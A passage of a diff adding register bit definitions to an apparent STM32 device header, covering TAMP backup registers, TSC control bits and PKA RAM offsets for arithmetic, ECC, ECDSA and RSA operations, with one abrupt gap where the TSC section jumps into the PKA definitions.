0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC 